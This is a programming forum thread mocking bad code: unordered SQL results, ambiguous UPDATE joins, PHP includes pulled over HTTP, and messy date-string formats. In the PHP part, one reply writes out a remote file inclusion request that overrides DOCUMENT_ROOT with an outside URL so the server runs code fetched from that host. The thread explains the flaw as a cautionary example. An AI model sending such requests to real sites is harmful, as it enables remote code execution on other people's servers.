Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us money per month for bills, and since we don't believe in showing ads to our users, we try to make the money back through forum registrations.
 
  • Post
  • Reply
Viggen
Sep 10, 2010

by XyloJW

Plorkyeran posted:

Prints: r: 33 g: 22 b: 11
code:
23:39 [latty] ~%cat > t.c
#include <stdio.h>
#include <stdint.h>

int main() {
  struct { int8_t r; int8_t g; int8_t b; } rgb;
  *(int *)&rgb = 0x112233;
  printf("r: %02x g: %02x b: %02x\n", rgb.r, rgb.g, rgb.b);
}
23:39 [latty] ~%cc -o t t.c
23:39 [latty] ~%./t
r: 33 g: 22 b: 11
23:39 [latty] ~%uname -a
Linux latty 3.4.11-2.16-desktop #1 SMP PREEMPT Wed Sep 26 17:05:00 UTC 2012 (259fc87) x86_64 x86_64 x86_64 GNU/Linux
Yup. Never realized that.

Adbot
ADBOT LOVES YOU

bobthecheese
Jun 7, 2006
Although I've never met Martha Stewart, I'll probably never birth her child.
Not sure which is the real horror here...



Is it the fact that MySQL just throws records in the first available space, or the fact that whoever wrote the real world code that showed me this problem hadn't explicitly ordered the results.

This, obviously, isn't real data - it's just an example I whipped up to show. The real data consisted of new comments appearing before old comments because there was no ordering on date or ID or... well... anything.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem
Why wouldn't it throw it in the first available space?

Unless that particular column is used for clustering, there has to be an index for it anyway, so it's not like it costs you anything. Compacting the rows whenever one is deleted would be way slow, and not reusing those rows would be wasteful.

And not doing an unnecessary sort when a sort isn't actually asked for is like, Optimization 101.

npe
Oct 15, 2004
I love to rip on MySQL as much as the next guy, but the horror is clearly not them. It's in the query that doesn't explicitly order by date. By definition, unordered results are unordered, and you will get weird poo poo like that.

armorer
Aug 6, 2012

I like metal.

npe posted:

I love to rip on MySQL as much as the next guy, but the horror is clearly not them. It's in the query that doesn't explicitly order by date. By definition, unordered results are unordered, and you will get weird poo poo like that.

Agreed. One of our easiest interview questions has the candidate write a query that requires an order by clause. This is basic stuff that developers who interface with databases should know and do.

The Gripper
Sep 14, 2004
i am winner
That's true for SQL in general, isn't it? Without an ORDER BY clause there's no guarantee it'll return rows in the order of insertion even with a clustered column.

It's OK though, people honestly have no loving idea when it comes to this and it's because if you ask a question about it, or look up existing answers, 99% of discussions have one or more vitriolic SQL know-it-all jackasses preaching the wrong info so furiously that nobody can be arsed actually correcting them.

see: http://sqlblog.com/blogs/alexander_kuznetsov/archive/2009/05/20/without-order-by-there-is-no-default-sort-order.aspx (and comments).

Bonfire Lit
Jul 9, 2008

If you're one of the sinners who caused this please unfriend me now.

That there's people who think "in this contrived example you can obviously see a pattern" is the same as "there's an absolute guarantee that this will always happen a certain way" makes me weep for the human race.

The Gripper
Sep 14, 2004
i am winner

Isilkor posted:

That there's people who think "in this contrived example you can obviously see a pattern" is the same as "there's an absolute guarantee that this will always happen a certain way" makes me weep for the human race.
In the link I posted the author inserts 100000 rows and shows that it's not returning ordered results (with a clustered index), and proving your point there's a comment where someone does the same test with 5 rows, gets them in order, and calls the author out on it.

Edit; I think it's pretty amazing that someone could see the authors results, do it themselves and get different results, and still come to the conclusion that "maybe they are in order and you're wrong!".

The Gripper fucked around with this message at 15:34 on Dec 18, 2012

Zombywuf
Mar 29, 2008

The comments on that article make me want to weep. Who are these people and how can I make sure I never work with/against them?

Progressive JPEG
Feb 19, 2003

Zombywuf posted:

The comments on that article make me want to weep. Who are these people and how can I make sure I never work with/against them?
A good interview process can help, at least for future people.

Amarkov
Jun 21, 2010

Isilkor posted:

That there's people who think "in this contrived example you can obviously see a pattern" is the same as "there's an absolute guarantee that this will always happen a certain way" makes me weep for the human race.

I mean, even if your implementation does always do it in a certain way, it's a pretty huge coding horror to rely on undocumented implementation details.

hobbesmaster
Jan 28, 2008

Zombywuf posted:

The comments on that article make me want to weep. Who are these people and how can I make sure I never work with/against them?

I think the question "What does 'undefined behavior' mean" would be a good one.

Bunny Cuddlin
Dec 12, 2004

Comments posted:

Actually, SkullKiller, your first statement is incorrect;
lmao

New Yorp New Yorp
Jul 18, 2003

Only in Kenya.
Pillbug

Skull killing requires more SQL than you'd expect.

Zombywuf
Mar 29, 2008

hobbesmaster posted:

I think the question "What does 'undefined behavior' mean" would be a good one.

I'd probably be more evil than that, perhaps something like:
code:
create table foo (
  id serial not null primary key,
  value text not null
);

create table bar (
  fid not null references foo(id),
  new_value text not null
);

<stuff with data>

update foo set value = new_value from bar where fid = id;
and see if they even spot why order is an issue there.

(bonus points: correct trigger behaviour)

Viggen
Sep 10, 2010

by XyloJW

Zombywuf posted:

update foo set value = new_value from bar where fid = id;
[/code]
and see if they even spot why order is an issue there.

(bonus points: correct trigger behaviour)

Jesus. One of my first forages into SQL was to add a comments table to a rather, uh, let's say 'simple' CMS. Of course, each (page) entry had it's own ID, so each comment was linked to that id, and I just did a select where comment_ref = parentid. I figured that much out without even knowing how to do an insert. What the hell?

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
Yeah, implicit joins are one of the few places where the spec authors decided that it would be a good idea to not piss everybody off. I just sort of figured it out on my own.

I still can't get over how stupid and arcane the various SQL syntaxes are.

Zamujasa
Oct 27, 2010



Bread Liar

Zombywuf posted:

I'd probably be more evil than that, perhaps something like:
code:
create table foo (
  id serial not null primary key,
  value text not null
);

create table bar (
  fid not null references foo(id),
  new_value text not null
);

<stuff with data>

update foo set value = new_value from bar where fid = id;
and see if they even spot why order is an issue there.

(bonus points: correct trigger behaviour)

I'm not a SQL expert by any means so forgive me for being naive, but is it because you could theoretically have multiple fids per id and you could get them in any order?

Viggen
Sep 10, 2010

by XyloJW

Zamujasa posted:

I'm not a SQL expert by any means so forgive me for being naive, but is it because you could theoretically have multiple fids per id and you could get them in any order?

Obviously, it'd make sense to have an auto_increment (forgive the MySQL syntax) and a date stamp of entry to do an ORDER BY.. even for the weakest link..

Wozbo
Jul 5, 2010
Heh, if you are doing it sequentially in MySQL you can do LAST_INSERT_ID().

Zombywuf
Mar 29, 2008

Zamujasa posted:

I'm not a SQL expert by any means so forgive me for being naive, but is it because you could theoretically have multiple fids per id and you could get them in any order?

Yeah, and one of them will be used for the update. Well technically all will be, but there can be only one.

Viggen
Sep 10, 2010

by XyloJW

Wozbo posted:

Heh, if you are doing it sequentially in MySQL you can do LAST_INSERT_ID().

I was going to tease you here, but last_insert_id() is actually good so long as it is on the same connection. They can't make anything else really - uh - reliable, but this works. It's still pretty lovely to depend on, though.

I would just pass the entry_id as a hidden value on the comment entry and do sanitization if someone tried to enter a response.

Viggen
Sep 10, 2010

by XyloJW
Here's an oldie but goodie:

code:
<?php
@include("http://site.com/header.html");
...
@include("http://site.com/footer.html");
?>
Gee, any idea why it takes 30 seconds to render the index page? Well, actually, yes.

McGlockenshire
Dec 16, 2005

GOLLOCKS!

Viggen posted:

Here's an oldie but goodie:

code:
<?php
@include("http://site.com/header.html");
...
@include("http://site.com/footer.html");
?>
Gee, any idea why it takes 30 seconds to render the index page? Well, actually, yes.

Ladies and gentlemen, I believe we have reached peak PHP.

baquerd
Jul 2, 2007

by FactsAreUseless

Viggen posted:

Here's an oldie but goodie:

code:
<?php
@include("http://site.com/header.html");
...
@include("http://site.com/footer.html");
?>
Gee, any idea why it takes 30 seconds to render the index page? Well, actually, yes.

I don't get it, aren't includes like headers and footers a basic part of php templating?

bobthecheese
Jun 7, 2006
Although I've never met Martha Stewart, I'll probably never birth her child.

baquerd posted:

I don't get it, aren't includes like headers and footers a basic part of php templating?

Yes, they're common, but generally you don't pull them in via http. I have no idea why anyone would ever think that this is a good idea.

Also, "include" will try to execute the code, which means that if you don't own site.com, then whoever does can inject arbitrary code into your site.

bobthecheese fucked around with this message at 22:19 on Dec 19, 2012

ToxicFrog
Apr 26, 2008


baquerd posted:

I don't get it, aren't includes like headers and footers a basic part of php templating?

Yeah, but each time that page is requested the server serving the page is making two HTTP requests to site.com, rather than including them from local files.

Optimus Prime Ribs
Jul 25, 2007

Plus errors are being suppressed, so if for some reason those files cannot be found you'll never know! :toot:

Amarkov
Jun 21, 2010

bobthecheese posted:

Yes, they're common, but generally you don't pull them in via http. I have no idea why anyone would ever think that this is a good idea.

I have no idea why you even can do that. Does PHP use some bizarre file system abstraction that accepts arbitrary URIs in any location, or did someone specifically program in the ability to include HTTP responses?

Blinkz0rz
May 27, 2001

MY CONTEMPT FOR MY OWN EMPLOYEES IS ONLY MATCHED BY MY LOVE FOR TOM BRADY'S SWEATY MAGA BALLS
Can we talk about development management horrors here?

There's a business analyst who's leading the client facing part of our development effort who can never seem to remember to budget time for testing. He seems to think that the development process means getting a thing to work once and then deploying it. I'm constantly amazed when I talk to him that he's made it this far.

Zamujasa
Oct 27, 2010



Bread Liar

Amarkov posted:

I have no idea why you even can do that. Does PHP use some bizarre file system abstraction that accepts arbitrary URIs in any location, or did someone specifically program in the ability to include HTTP responses?

The latter. You can disable it (and it defaults to off for a long time), but...


My favorite spin on it went like this, for a server with register_globals off but running an ancient system:

php:
<?

// Imagine some code here to use extract() with EXTR_OVERWRITE to simulate 
// register_globals, by extracting SERVER, ENV, COOKIE, POST, GET, in order

define("ROOT_DIR", $DOCUMENT_ROOT);

// some crap here //

include(ROOT_DIR . "includes/functions.php");
?>
Anybody who has had the "fun" of maintaining legacy applications will probably spot the flaw in this genius plan with ease. Bonus points: It was released as open source.

This was a fun one. :suicide:




Edit: gently caress, I just remembered it wasn't even extract(), it was some awful home-grown solution involving foreach and variable variables. :barf:

Zamujasa fucked around with this message at 00:15 on Dec 20, 2012

ToxicFrog
Apr 26, 2008


Zamujasa posted:

Anybody who has had the "fun" of maintaining legacy applications will probably spot the flaw in this genius plan with ease. Bonus points: It was released as open source.

This was a fun one. :suicide:

Was it something like GET oops.php?DOCUMENT_ROOT=http://phpexploits.com/?

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Amarkov posted:

I have no idea why you even can do that. Does PHP use some bizarre file system abstraction that accepts arbitrary URIs in any location, or did someone specifically program in the ability to include HTTP responses?

The former, actually. fopen works with it too.

http://php.net/manual/en/wrappers.php

Zamujasa
Oct 27, 2010



Bread Liar

ToxicFrog posted:

Was it something like GET oops.php?DOCUMENT_ROOT=http://phpexploits.com/?

Yes, that exactly. And even worse than the usual index.php?page=poo poo.php because the source was right there, you didn't even have to fumble with figuring out what you could stuff into ?page= to make it break.

ultramiraculous
Nov 12, 2003

"No..."
Grimey Drawer
Can I use this space to bitch about how awful everything about date strings is? I feel like entirely too much of my time has been spent dealing with making sure everything agrees on what a date looks like. Like my ORM/web framework spits out everything in RFC822/Internet time. Javascript eats that just fine, but it shits out RFC3339 by default when converting to JSON. My ORM, by default, fails to parse 3339 and shits itself, causing it to default to todays date. When we were in Python, the default output for datetimes into JSON was ISO8601. Additionally, as far as I know, there aren't any standard formatter implementations for any of the three aforementioned standards in Java, Scala, Objective-C, or Python. I should be able to just do a toString/fromString in any language and get a sane, consistent result.

Additionally RFC822 isn't even naturally sortable because it starts with a goddamn text representation of the day of the week. Just. Why.

b0lt
Apr 29, 2005

ultramiraculous posted:

Can I use this space to bitch about how awful everything about date strings is? I feel like entirely too much of my time has been spent dealing with making sure everything agrees on what a date looks like. Like my ORM/web framework spits out everything in RFC822/Internet time. Javascript eats that just fine, but it shits out RFC3339 by default when converting to JSON. My ORM, by default, fails to parse 3339 and shits itself, causing it to default to todays date. When we were in Python, the default output for datetimes into JSON was ISO8601. Additionally, as far as I know, there aren't any standard formatter implementations for any of the three aforementioned standards in Java, Scala, Objective-C, or Python. I should be able to just do a toString/fromString in any language and get a sane, consistent result.

Additionally RFC822 isn't even naturally sortable because it starts with a goddamn text representation of the day of the week. Just. Why.

Everyone in java uses joda-time (until (if) JSR-310 makes it in), and there's a scala wrapper for it.

Brecht
Nov 7, 2009

ultramiraculous posted:

Can I use this space to bitch about how awful everything about date strings is? I feel like entirely too much of my time has been spent dealing with making sure everything agrees on what a date looks like. Like my ORM/web framework spits out everything in RFC822/Internet time. Javascript eats that just fine, but it shits out RFC3339 by default when converting to JSON. My ORM, by default, fails to parse 3339 and shits itself, causing it to default to todays date. When we were in Python, the default output for datetimes into JSON was ISO8601. Additionally, as far as I know, there aren't any standard formatter implementations for any of the three aforementioned standards in Java, Scala, Objective-C, or Python. I should be able to just do a toString/fromString in any language and get a sane, consistent result.

Additionally RFC822 isn't even naturally sortable because it starts with a goddamn text representation of the day of the week. Just. Why.
A string which you assume is a date is completely meaningless without an [expected] encoding coupled with it, ideally by transmitting a tuple of string+encoding. You also need to account for the date string failing to parse, which is totally valid. From my perspective the problem is nothing to do with date strings and everything to do with developers (and library designers, and language designers) expecting poo poo to Just Work™ without being explicit.

Maluco Marinero
Jan 18, 2001

Damn that's a
fine elephant.
This is it. Dates aren't exactly standardised across nations, let alone programming. As long as each language you use has a library that can parse custom formats, you just have to be specific about what your string format is for passing dates around. Any automatic parser is always going to be making localisation assumptions without explicit information.

tef
May 30, 2004

-> some l-system crap ->

ultramiraculous posted:

Can I use this space to bitch about how awful everything about date strings is?

Sure, don't forget timezones, leap seconds, or daylight savings either.

Adbot
ADBOT LOVES YOU

Amarkov
Jun 21, 2010

ultramiraculous posted:

I should be able to just do a toString/fromString in any language and get a sane, consistent result.

If you ask for an RFC822 date string, you will either get such a string or find that the operation is unsupported.

If you just ask for "a date string", you will get whatever date string the library prefers, which will usually simply be the date string that maps most naturally to the internal date storage. I'm not sure why you would want or expect different behavior.

Amarkov fucked around with this message at 04:40 on Dec 22, 2012

  • 1
  • 2
  • 3
  • 4
  • 5
  • Post
  • Reply